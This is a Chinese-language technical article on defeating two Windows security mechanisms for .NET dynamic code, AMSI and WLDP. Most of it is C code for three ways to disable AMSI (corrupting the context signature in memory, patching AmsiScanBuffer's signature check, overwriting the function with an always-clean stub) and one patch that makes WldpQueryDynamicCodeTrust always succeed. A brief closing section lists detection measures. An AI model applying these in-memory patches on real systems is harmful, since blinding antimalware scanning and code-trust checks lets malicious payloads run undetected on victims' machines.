How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code
字数 1325 2025-08-26 22:11:28
绕过.NET动态代码的AMSI和WLDP安全机制技术详解
1. 背景介绍
自.NET框架4.8版本起,微软引入了两项重要的安全机制:
- AMSI (Antimalware Scan Interface):用于阻止潜在恶意软件从内存运行,会扫描有害或被管理员禁止的软件
- WLDP (Windows Lockdown Policy):检查动态代码的数字签名
这些机制旨在增强安全性,但也成为红队需要绕过的目标。
2. AMSI工作机制深入分析
2.1 AMSI核心函数
AMSI主要通过三个关键函数工作:
typedef HRESULT (WINAPI *AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT *amsiContext);
typedef HRESULT (WINAPI *AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result);
typedef void (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
2.2 AMSI上下文结构
未公开文档的结构,但逆向分析显示其组成:
typedef struct tagHAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
IAntimalware *Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;
2.3 CLR中的AMSI实现
CLR使用私有函数AmsiScan检测通过Load方法传递的有害软件:
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT *g_amsiContext;
VOID AmsiScan(PVOID buffer, ULONG length) {
// 初始化检查
if(g_amsiContext == NULL) {
// 加载amsi.dll并解析函数
amsi = LoadLibraryEx(L"amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
_AmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
_AmsiScanBuffer = (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
// 初始化上下文
hr = _AmsiInitialize(L"DotNet", &ctx);
g_amsiContext = ctx;
}
// 扫描缓冲区
hr = _AmsiScanBuffer(g_amsiContext, buffer, length, 0, 0, &amsiResult);
// 检查结果
if(AmsiResultIsMalware(amsiResult) || AmsiResultIsBlockedByAdmin(amsiResult)) {
// 抛出异常
ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);
}
}
3. 绕过AMSI的三种方法
3.1 方法一:篡改AMSI上下文数据(Matt Graeber方法)
原理:破坏CLR的g_amsiContext全局变量,使AmsiScanBuffer返回E_INVALIDARG
实现步骤:
- 在内存中搜索包含AMSI签名(0x49534D41)的结构
- 修改签名使其无效
- 导致后续扫描失败
代码实现:
BOOL DisableAMSI(VOID) {
LPVOID hCLR;
BOOL disabled = FALSE;
// 获取CLR模块句柄
hCLR = GetModuleHandleA("CLR");
// 遍历可写段寻找AMSI签名
for(i=0; i<nt->FileHeader.NumberOfSections && !disabled; i++) {
if(sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
// 扫描段中的指针
for(j=0; j<sh[i].Misc.VirtualSize-sizeof(ULONG_PTR); j+=sizeof(ULONG_PTR)) {
ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
// 检查是否为有效指针
if((mbi.State == MEM_COMMIT) && (mbi.Type == MEM_PRIVATE) && (mbi.Protect == PAGE_READWRITE)) {
ctx = (_PHAMSICONTEXT)ptr;
// 检查签名并破坏
if(ctx->Signature == 0x49534D41) {
ctx->Signature++;
disabled = TRUE;
break;
}
}
}
}
}
return disabled;
}
3.2 方法二:AMSI函数补丁方法1(修改签名检查)
原理:直接修改AmsiScanBuffer函数中的签名检查逻辑
实现步骤:
- 定位
AmsiScanBuffer函数 - 搜索函数中的AMSI签名(0x49534D41)
- 修改签名使其无效
代码实现:
BOOL DisableAMSI(VOID) {
HMODULE dll;
PBYTE cs;
BOOL disabled = FALSE;
// 加载AMSI库
dll = LoadLibraryExA("amsi", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
// 搜索并修改签名
for(i=0;; i++) {
ctx = (_PHAMSICONTEXT)&cs[i];
if(ctx->Signature == 0x49534D41) {
VirtualProtect(cs, sizeof(ULONG_PTR), PAGE_EXECUTE_READWRITE, &op);
ctx->Signature++;
VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
disabled = TRUE;
break;
}
}
return disabled;
}
3.3 方法三:AMSI函数补丁方法2(Tal Liberman方法)
原理:完全覆盖AmsiScanBuffer函数,使其总是返回"干净"结果
实现步骤:
- 创建总是返回
AMSI_RESULT_CLEAN的替代函数 - 覆盖原始
AmsiScanBuffer函数
代码实现:
// 替代函数
HRESULT AmsiScanBufferStub(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,
LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result) {
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
BOOL DisableAMSI(VOID) {
BOOL disabled = FALSE;
HMODULE amsi;
DWORD len, op, t;
LPVOID cs;
// 加载AMSI库
amsi = LoadLibrary("amsi");
cs = GetProcAddress(amsi, "AmsiScanBuffer");
// 计算替代函数长度
len = (ULONG_PTR)AmsiScanBufferStubEnd - (ULONG_PTR)AmsiScanBufferStub;
// 覆盖原始函数
if(VirtualProtect(cs, len, PAGE_EXECUTE_READWRITE, &op)) {
memcpy(cs, &AmsiScanBufferStub, len);
disabled = TRUE;
VirtualProtect(cs, len, op, &t);
}
return disabled;
}
4. WLDP工作机制与绕过方法
4.1 WLDP核心函数
typedef HRESULT (WINAPI *WldpQueryDynamicCodeTrust_t)(HANDLE fileHandle, PVOID baseImage, ULONG ImageSize);
4.2 绕过WLDP的方法(函数补丁)
原理:覆盖WldpQueryDynamicCodeTrust函数使其总是返回S_OK
实现步骤:
- 创建总是返回
S_OK的替代函数 - 覆盖原始
WldpQueryDynamicCodeTrust函数
代码实现:
// 替代函数
HRESULT WINAPI WldpQueryDynamicCodeTrustStub(HANDLE fileHandle, PVOID baseImage, ULONG ImageSize) {
return S_OK;
}
BOOL PatchWldp(VOID) {
BOOL patched = FALSE;
HMODULE wldp;
DWORD len, op, t;
LPVOID cs;
// 加载WLDP库
wldp = LoadLibrary("wldp");
cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
// 计算替代函数长度
len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd - (ULONG_PTR)WldpQueryDynamicCodeTrustStub;
// 覆盖原始函数
if(VirtualProtect(cs, len, PAGE_EXECUTE_READWRITE, &op)) {
memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
patched = TRUE;
VirtualProtect(cs, len, op, &t);
}
return patched;
}
5. 防御与检测建议
虽然这些绕过方法在最新版Windows 10和.NET框架中仍然有效,但防御方可以采取以下措施:
- 监控关键API调用:监控
AmsiScanBuffer和WldpQueryDynamicCodeTrust的调用模式 - 内存保护:使用CFG(Control Flow Guard)和ACG(Arbitrary Code Guard)防止代码修改
- 签名验证:实施严格的代码签名策略
- 行为分析:检测异常的内存修改行为
- AMSI/WLDP日志分析:监控这些服务的异常行为
6. 结论
本文详细介绍了三种绕过AMSI和一种绕过WLDP的方法,这些技术利用了安全机制实现中的弱点。虽然这些方法可能被检测到,但它们展示了攻击者如何通过篡改数据或代码来绕过现代安全机制。防御方需要采取多层次的安全措施来应对这些技术。